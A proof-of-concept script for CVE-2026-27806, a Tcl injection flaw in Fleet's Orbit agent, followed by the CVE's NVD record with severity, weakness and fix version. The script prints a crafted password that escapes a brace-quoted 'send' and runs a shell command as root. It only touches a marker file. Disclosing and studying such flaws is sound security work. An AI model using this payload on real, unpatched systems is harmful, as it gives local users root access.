CVE-2026-27806

# PoC for CVE-2026-27806: Fleet Orbit Tcl Injection # This script demonstrates the payload format required to escape the Tcl brace context. # The vulnerable code constructs a Tcl script like: send {<PASSWORD>} # Malicious password payload: # The '}' closes the 'send' brace context, allowing arbitrary Tcl commands. # The final '{' ensures the subsequent brace in the template is closed cleanly. payload = "normal_pass} { exec /bin/sh -c 'touch /tmp/pwned' } {" print(f"[*] Generated malicious password payload:") print(payload) print(f"\n[*] When Orbit executes 'expect -c', the script effectively becomes:") print(f"send {{{payload}}}") print(f"\n[*] This results in the execution of 'touch /tmp/pwned' with root privileges.")

{"cve": {"id": "CVE-2026-27806", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:13.543", "lastModified": "2026-04-14T19:31:32.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. Prior to 4.81.1, the Orbit agent's FileVault disk encryption key rotation flow on collects a local user's password via a GUI dialog and interpolates it directly into a Tcl/expect script executed via exec.Command(\"expect\", \"-c\", script). Because the password is inserted into Tcl brace-quoted send {%s}, a password containing } terminates the literal and injects arbitrary Tcl commands. Since Orbit runs as root, this allows a local unprivileged user to escalate to root privileges. This vulnerability is fixed in 4.81.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.81.1", "matchCriteriaId": "09CFBED5-C6C2-4CCB-A48C-7E89E878E4F7"}]}]}], "references": [{"url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-rphv-h674-5hp2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}